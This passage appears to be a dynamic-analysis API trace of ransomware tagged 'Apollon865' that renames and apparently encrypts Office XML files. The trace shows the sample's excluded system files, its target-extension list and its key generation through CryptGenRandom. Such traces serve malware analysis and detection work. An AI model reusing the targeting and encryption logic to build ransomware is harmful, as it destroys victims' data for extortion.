	[0068.948] lstrcmpiW (lpString1="PGLBL089.XML", lpString2=".dll") returned 1
	[0068.948] lstrlenW (lpString=".lnk") returned 4
	[0068.948] lstrcmpiW (lpString1="PGLBL089.XML", lpString2=".lnk") returned 1
	[0068.948] lstrlenW (lpString=".ini") returned 4
	[0068.948] lstrcmpiW (lpString1="PGLBL089.XML", lpString2=".ini") returned 1
	[0068.948] lstrlenW (lpString=".sys") returned 4
	[0068.948] lstrcmpiW (lpString1="PGLBL089.XML", lpString2=".sys") returned 1
	[0068.948] lstrlenW (lpString="PGLBL089.XML") returned 12
	[0068.948] lstrlenW (lpString="bak") returned 3
	[0068.948] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0068.948] lstrlenW (lpString="ba_") returned 3
	[0068.948] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0068.948] lstrlenW (lpString="dbb") returned 3
	[0068.948] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0068.948] lstrlenW (lpString="vmdk") returned 4
	[0068.948] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0068.948] lstrlenW (lpString="rar") returned 3
	[0068.948] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0068.948] lstrlenW (lpString="zip") returned 3
	[0068.948] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0068.948] lstrlenW (lpString="tgz") returned 3
	[0068.948] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0068.948] lstrlenW (lpString="vbox") returned 4
	[0068.948] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0068.949] lstrlenW (lpString="vdi") returned 3
	[0068.949] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0068.949] lstrlenW (lpString="vhd") returned 3
	[0068.949] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0068.949] lstrlenW (lpString="vhdx") returned 4
	[0068.949] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0068.949] lstrlenW (lpString="avhd") returned 4
	[0068.949] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0068.949] lstrlenW (lpString="db") returned 2
	[0068.949] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0068.949] lstrlenW (lpString="db2") returned 3
	[0068.949] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0068.949] lstrlenW (lpString="db3") returned 3
	[0068.949] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0068.949] lstrlenW (lpString="dbf") returned 3
	[0068.949] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0068.949] lstrlenW (lpString="mdf") returned 3
	[0068.949] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0068.949] lstrlenW (lpString="mdb") returned 3
	[0068.949] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0068.949] lstrlenW (lpString="sql") returned 3
	[0068.949] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0068.949] lstrlenW (lpString="sqlite") returned 6
	[0068.949] lstrcmpiW (lpString1="89.XML", lpString2="sqlite") returned -1
	[0068.949] lstrlenW (lpString="sqlite3") returned 7
	[0068.949] lstrcmpiW (lpString1="089.XML", lpString2="sqlite3") returned -1
	[0068.949] lstrlenW (lpString="sqlitedb") returned 8
	[0068.949] lstrcmpiW (lpString1="L089.XML", lpString2="sqlitedb") returned -1
	[0068.949] lstrlenW (lpString="xml") returned 3
	[0068.949] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0068.949] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML.Apollon865") returned 75
	[0068.949] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl089.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl089.xml.apollon865"), dwFlags=0x1) returned 1
	[0068.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl089.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0068.950] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=46386) returned 1
	[0068.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0068.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0068.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0068.951] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0068.951] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0068.951] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.952] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb840, lpName=0x0) returned 0x118
	[0068.953] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb840) returned 0x100000
	[0068.956] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0068.956] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0068.956] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0068.956] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0068.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0068.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0068.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.957] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0068.957] CloseHandle (hObject=0x118) returned 1
	[0068.957] CloseHandle (hObject=0x15c) returned 1
	[0068.958] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0068.958] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0068.958] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0068.958] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a5c4800, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a5c4800, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x124b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL090.XML", cAlternateFileName="")) returned 1
	[0068.958] lstrcmpiW (lpString1="PGLBL090.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.958] lstrcmpiW (lpString1="PGLBL090.XML", lpString2="Apollon865.txt.exe") returned 1
	[0068.958] lstrcmpiW (lpString1="PGLBL090.XML", lpString2=".") returned 1
	[0068.958] lstrcmpiW (lpString1="PGLBL090.XML", lpString2="..") returned 1
	[0068.958] lstrcmpiW (lpString1="PGLBL090.XML", lpString2="windows") returned -1
	[0068.958] lstrcmpiW (lpString1="PGLBL090.XML", lpString2="bootmgr") returned 1
	[0068.958] lstrcmpiW (lpString1="PGLBL090.XML", lpString2="temp") returned -1
	[0068.958] lstrcmpiW (lpString1="PGLBL090.XML", lpString2="pagefile.sys") returned 1
	[0068.958] lstrcmpiW (lpString1="PGLBL090.XML", lpString2="boot") returned 1
	[0068.958] lstrcmpiW (lpString1="PGLBL090.XML", lpString2="ids.txt") returned 1
	[0068.958] lstrcmpiW (lpString1="PGLBL090.XML", lpString2="ntuser.dat") returned 1
	[0068.958] lstrcmpiW (lpString1="PGLBL090.XML", lpString2="perflogs") returned 1
	[0068.958] lstrcmpiW (lpString1="PGLBL090.XML", lpString2="MSBuild") returned 1
	[0068.958] lstrlenW (lpString="PGLBL090.XML") returned 12
	[0068.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML") returned 64
	[0068.958] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL090.XML" | out: lpString1="PGLBL090.XML") returned="PGLBL090.XML"
	[0068.958] lstrlenW (lpString="PGLBL090.XML") returned 12
	[0068.958] lstrlenW (lpString="Apollon865") returned 10
	[0068.958] lstrcmpiW (lpString1="LBL090.XML", lpString2="Apollon865") returned 1
	[0068.959] lstrlenW (lpString=".dll") returned 4
	[0068.959] lstrcmpiW (lpString1="PGLBL090.XML", lpString2=".dll") returned 1
	[0068.959] lstrlenW (lpString=".lnk") returned 4
	[0068.959] lstrcmpiW (lpString1="PGLBL090.XML", lpString2=".lnk") returned 1
	[0068.959] lstrlenW (lpString=".ini") returned 4
	[0068.959] lstrcmpiW (lpString1="PGLBL090.XML", lpString2=".ini") returned 1
	[0068.959] lstrlenW (lpString=".sys") returned 4
	[0068.959] lstrcmpiW (lpString1="PGLBL090.XML", lpString2=".sys") returned 1
	[0068.959] lstrlenW (lpString="PGLBL090.XML") returned 12
	[0068.959] lstrlenW (lpString="bak") returned 3
	[0068.959] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0068.959] lstrlenW (lpString="ba_") returned 3
	[0068.959] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0068.959] lstrlenW (lpString="dbb") returned 3
	[0068.959] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0068.959] lstrlenW (lpString="vmdk") returned 4
	[0068.959] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0068.959] lstrlenW (lpString="rar") returned 3
	[0068.959] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0068.959] lstrlenW (lpString="zip") returned 3
	[0068.959] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0068.959] lstrlenW (lpString="tgz") returned 3
	[0068.959] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0068.959] lstrlenW (lpString="vbox") returned 4
	[0068.959] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0068.959] lstrlenW (lpString="vdi") returned 3
	[0068.959] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0068.959] lstrlenW (lpString="vhd") returned 3
	[0068.959] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0068.959] lstrlenW (lpString="vhdx") returned 4
	[0068.959] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0068.959] lstrlenW (lpString="avhd") returned 4
	[0068.959] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0068.959] lstrlenW (lpString="db") returned 2
	[0068.959] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0068.959] lstrlenW (lpString="db2") returned 3
	[0068.959] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0068.959] lstrlenW (lpString="db3") returned 3
	[0068.959] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0068.960] lstrlenW (lpString="dbf") returned 3
	[0068.960] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0068.960] lstrlenW (lpString="mdf") returned 3
	[0068.960] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0068.960] lstrlenW (lpString="mdb") returned 3
	[0068.960] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0068.960] lstrlenW (lpString="sql") returned 3
	[0068.960] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0068.960] lstrlenW (lpString="sqlite") returned 6
	[0068.960] lstrcmpiW (lpString1="90.XML", lpString2="sqlite") returned -1
	[0068.960] lstrlenW (lpString="sqlite3") returned 7
	[0068.960] lstrcmpiW (lpString1="090.XML", lpString2="sqlite3") returned -1
	[0068.960] lstrlenW (lpString="sqlitedb") returned 8
	[0068.960] lstrcmpiW (lpString1="L090.XML", lpString2="sqlitedb") returned -1
	[0068.960] lstrlenW (lpString="xml") returned 3
	[0068.960] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0068.960] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML.Apollon865") returned 75
	[0068.960] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl090.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl090.xml.apollon865"), dwFlags=0x1) returned 1
	[0068.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl090.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0068.961] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=74930) returned 1
	[0068.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0068.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0068.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0068.961] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0068.962] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0068.962] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.962] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x127c0, lpName=0x0) returned 0x118
	[0068.964] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x127c0) returned 0x120000
	[0068.968] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0068.968] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0068.968] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0068.969] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0068.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.969] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0068.969] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.969] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0068.969] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.969] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0068.970] CloseHandle (hObject=0x118) returned 1
	[0068.970] CloseHandle (hObject=0x15c) returned 1
	[0068.970] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0068.970] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0068.970] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0068.970] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4628f00, ftCreationTime.dwHighDateTime=0x1ca1b44, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4628f00, ftLastWriteTime.dwHighDateTime=0x1ca1b44, nFileSizeHigh=0x0, nFileSizeLow=0x19a22, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL092.XML", cAlternateFileName="")) returned 1
	[0068.970] lstrcmpiW (lpString1="PGLBL092.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.970] lstrcmpiW (lpString1="PGLBL092.XML", lpString2="Apollon865.txt.exe") returned 1
	[0068.970] lstrcmpiW (lpString1="PGLBL092.XML", lpString2=".") returned 1
	[0068.970] lstrcmpiW (lpString1="PGLBL092.XML", lpString2="..") returned 1
	[0068.971] lstrcmpiW (lpString1="PGLBL092.XML", lpString2="windows") returned -1
	[0068.971] lstrcmpiW (lpString1="PGLBL092.XML", lpString2="bootmgr") returned 1
	[0068.971] lstrcmpiW (lpString1="PGLBL092.XML", lpString2="temp") returned -1
	[0068.971] lstrcmpiW (lpString1="PGLBL092.XML", lpString2="pagefile.sys") returned 1
	[0068.971] lstrcmpiW (lpString1="PGLBL092.XML", lpString2="boot") returned 1
	[0068.971] lstrcmpiW (lpString1="PGLBL092.XML", lpString2="ids.txt") returned 1
	[0068.971] lstrcmpiW (lpString1="PGLBL092.XML", lpString2="ntuser.dat") returned 1
	[0068.971] lstrcmpiW (lpString1="PGLBL092.XML", lpString2="perflogs") returned 1
	[0068.971] lstrcmpiW (lpString1="PGLBL092.XML", lpString2="MSBuild") returned 1
	[0068.971] lstrlenW (lpString="PGLBL092.XML") returned 12
	[0068.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML") returned 64
	[0068.971] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL092.XML" | out: lpString1="PGLBL092.XML") returned="PGLBL092.XML"
	[0068.971] lstrlenW (lpString="PGLBL092.XML") returned 12
	[0068.971] lstrlenW (lpString="Apollon865") returned 10
	[0068.971] lstrcmpiW (lpString1="LBL092.XML", lpString2="Apollon865") returned 1
	[0068.971] lstrlenW (lpString=".dll") returned 4
	[0068.971] lstrcmpiW (lpString1="PGLBL092.XML", lpString2=".dll") returned 1
	[0068.971] lstrlenW (lpString=".lnk") returned 4
	[0068.971] lstrcmpiW (lpString1="PGLBL092.XML", lpString2=".lnk") returned 1
	[0068.971] lstrlenW (lpString=".ini") returned 4
	[0068.971] lstrcmpiW (lpString1="PGLBL092.XML", lpString2=".ini") returned 1
	[0068.971] lstrlenW (lpString=".sys") returned 4
	[0068.971] lstrcmpiW (lpString1="PGLBL092.XML", lpString2=".sys") returned 1
	[0068.971] lstrlenW (lpString="PGLBL092.XML") returned 12
	[0068.971] lstrlenW (lpString="bak") returned 3
	[0068.971] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0068.971] lstrlenW (lpString="ba_") returned 3
	[0068.971] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0068.971] lstrlenW (lpString="dbb") returned 3
	[0068.971] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0068.971] lstrlenW (lpString="vmdk") returned 4
	[0068.971] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0068.971] lstrlenW (lpString="rar") returned 3
	[0068.971] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0068.971] lstrlenW (lpString="zip") returned 3
	[0068.971] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0068.971] lstrlenW (lpString="tgz") returned 3
	[0068.971] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0068.972] lstrlenW (lpString="vbox") returned 4
	[0068.972] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0068.972] lstrlenW (lpString="vdi") returned 3
	[0068.972] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0068.972] lstrlenW (lpString="vhd") returned 3
	[0068.972] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0068.972] lstrlenW (lpString="vhdx") returned 4
	[0068.972] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0068.972] lstrlenW (lpString="avhd") returned 4
	[0068.972] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0068.972] lstrlenW (lpString="db") returned 2
	[0068.972] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0068.972] lstrlenW (lpString="db2") returned 3
	[0068.972] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0068.972] lstrlenW (lpString="db3") returned 3
	[0068.972] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0068.972] lstrlenW (lpString="dbf") returned 3
	[0068.972] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0068.972] lstrlenW (lpString="mdf") returned 3
	[0068.972] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0068.972] lstrlenW (lpString="mdb") returned 3
	[0068.972] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0068.972] lstrlenW (lpString="sql") returned 3
	[0068.972] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0068.972] lstrlenW (lpString="sqlite") returned 6
	[0068.972] lstrcmpiW (lpString1="92.XML", lpString2="sqlite") returned -1
	[0068.972] lstrlenW (lpString="sqlite3") returned 7
	[0068.972] lstrcmpiW (lpString1="092.XML", lpString2="sqlite3") returned -1
	[0068.972] lstrlenW (lpString="sqlitedb") returned 8
	[0068.972] lstrcmpiW (lpString1="L092.XML", lpString2="sqlitedb") returned -1
	[0068.972] lstrlenW (lpString="xml") returned 3
	[0068.972] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0068.972] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML.Apollon865") returned 75
	[0068.972] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl092.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl092.xml.apollon865"), dwFlags=0x1) returned 1
	[0068.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl092.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0068.973] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=104994) returned 1
	[0068.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0068.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0068.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0068.974] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0068.974] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0068.974] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.974] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x19d30, lpName=0x0) returned 0x118
	[0068.976] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x19d30) returned 0x120000
	[0068.982] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0068.982] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0068.982] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.982] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0068.983] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0068.983] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.983] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.983] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.983] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.983] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0068.983] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.983] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0068.983] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.983] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0068.984] CloseHandle (hObject=0x118) returned 1
	[0068.984] CloseHandle (hObject=0x15c) returned 1
	[0068.984] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0068.984] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0068.984] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
